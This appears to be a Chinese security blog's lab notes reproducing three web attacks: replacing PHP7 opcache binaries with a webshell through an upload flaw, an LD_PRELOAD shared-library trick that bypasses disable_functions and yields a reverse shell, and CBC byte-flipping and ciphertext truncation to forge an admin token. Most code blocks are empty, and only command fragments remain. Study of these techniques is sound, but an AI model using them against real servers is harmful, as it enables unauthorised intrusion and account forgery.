0x00 php7 opcache执行 PHP 代码
1. 环境配置
文章介绍:
http://drops.wooyun.org/web/15450
http://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/ 使用docker拉取php:7.0.8-apache
镜像,配置使用opcache。php7默认安装了opcache,这里只需要修改下php.ini
文件:
1 | [opcache] |
在phpinfo中能看到opcache就成功了。
2. 利用
利用此攻击向量,攻击者可以绕过“Web 目录禁止文件读写”的限制 ,也可以执行他自己的恶意代码。
- 计算 system_id
使用作者提供的工具php7-opcache-override
,算一下system_id
。
1 | ./system_id_scraper.py http://angelwhu.com:8083/phpinfo.php |
与自己find .
搜索下的./opcache/7a838f426f8184a949f4dde75f3ef030/var/www/html/phpinfo.php.bin
一样。
- 利用上传文件漏洞,去替换缓存的php.bin文件
这里可以简单先做个实验: 首先,写一个test.php:
1 |
|
访问后,会产生一个./opcache/7a838f426f8184a949f4dde75f3ef030/var/www/html/test.php.bin
文件。 然后,删除test.php。访问test.php会返回404。 再次,新建test.php,写入内容:
1 |
|
访问之,依然输出:test。
本地使用php7生成一个我们需要的shell文件,然后去覆盖原有的缓存php的bin文件(/opcache/7a838f426f8184a949f4dde75f3ef030/var/www/html/
目录),即可完成利用。 这里需要一个上传文件漏洞,并且可以控制上传的目录。具体过程省略,请看参考文章。记录下一个要点:
1 | 本地生成的payload,用vi -b修改其二进制内容。只需要修改头部system_id即可,其余都不用修改。 |
0x01 LD_PRELOAD
绕过disable_function
和open_basedir
文章介绍:
http://drops.wooyun.org/tips/16054 首先进行环境配置:
1 | open_basedir = /var/www/html:/tmp |
并且上传了一个shell:
1 |
|
1. LD_PRELOAD hack 样例
verifypasswd.c:
1 |
|
编译:
1 | gcc verifypasswd.c -o verifypasswd |
hack.c:
1 |
|
编译:
1 | gcc -c -fPIC hack.c -o hack |
运行测试:
1 | $ export LD_PRELOAD="./hack.so" |
在调用系统的strcmp
前,优先加载了hack.so
动态链接库。调用了我们自定义的strcmp
函数。
2. 利用
文章介绍:
http://drops.wooyun.org/tips/17248 提取里面的payload,进行编译:
1 | gcc -c -fPIC hack.c -o hack |
上传的时候,碰到了没有临时文件的问题,于是配置了下:
1 | upload_tmp_dir = /tmp |
上传文件页面,upload.html:
1 | <form action="http://10.10.10.135/shell_test/shell_basic.php" method="post" enctype="multipart/form-data"> |
选择上传hack.so 文件即可成功获取反弹shell。
0x02 CBC加密模式
文章介绍:
http://drops.wooyun.org/tips/7828
可以好好看看《白帽子讲web安全》的加密算法章节。 从乌云文章截的图,理解一下CBC模式的解密流程:
Ciphertext-N-1(密文-N-1)是用来产生下一块明文;
我们可以通过改变Ciphertext-N-1(密文-N-1),来构造解密出来的明文。 三个白帽(招聘又开始了,你怕了吗?)题目样例:
1 |
|
我们的目的是在不知道key的情况下,伪造一个admin
用户出来。(注册不了admin用户)
针对CBC模式攻击有padding Oracle
,详情可以看《白帽子讲web安全》。这里记录下两种方法,重现下。
- CBC模式字节反转攻击
首先注册一个账号为tdmin
的账号,与admin
只有一个字节的差异。
得到:
1 | 7x1ws5FicJqiJXViLIxF9NcE1g8diGwjV1KtXLFrdj0 |
解码会发现是32位,不过有不可见字符:
1 | var_dump(base64url_decode("7x1ws5FicJqiJXViLIxF9NcE1g8diGwjV1KtXLFrdj0")); |
由于AES128是以16字节为一个块的。根据CBC模式解密的原理,如果改变前面16自己的IV,会影响加密结果。和流密码一样,存在Reused Key Attack
攻击。
1 | AES解密('密文后16位') xor iv(密文前16位) = tdmin |
求?的值:
1 | 两个等式异或可以得到: |
因此,我们只需要改变iv的第一个字节,使t
变为a
即可:
1 | $encrypt_string = substr(base64url_decode("7x1ws5FicJqiJXViLIxF9NcE1g8diGwjV1KtXLFrdj0"),16,16); |
结果顺利输出:admin
- 截取密文一部分
我们看到解密算法中,每个块(block)都是16字节。因此,我们注册一个16字节+admin
的用户名,如:
1 | 1234567890123456admin |
得到一个加密结果:4-ymjbq1u1i_vJPE_Cn3uusb-avuQ4R-Pyn52e35BOwSmaG6HiNzDg47n2cvmIE1
,解码后为48字节。这48字节的组成为:
1 | 密文第一个16字节: iv |
根据解密流程,可以知道先从最后一个字节开始解密,即:
1 | AES解密(密文第三个16字节) xor 密文第二个16字节 = admin |
我们有了上述等式需要的密文第二个和第三个16字节
,因此可以直接截取后32个字节:
1 | $admin_encrypt_string_2 = base64_encode(substr(base64url_decode("4-ymjbq1u1i_vJPE_Cn3uusb-avuQ4R-Pyn52e35BOwSmaG6HiNzDg47n2cvmIE1"),16)); |
顺利得到admin
。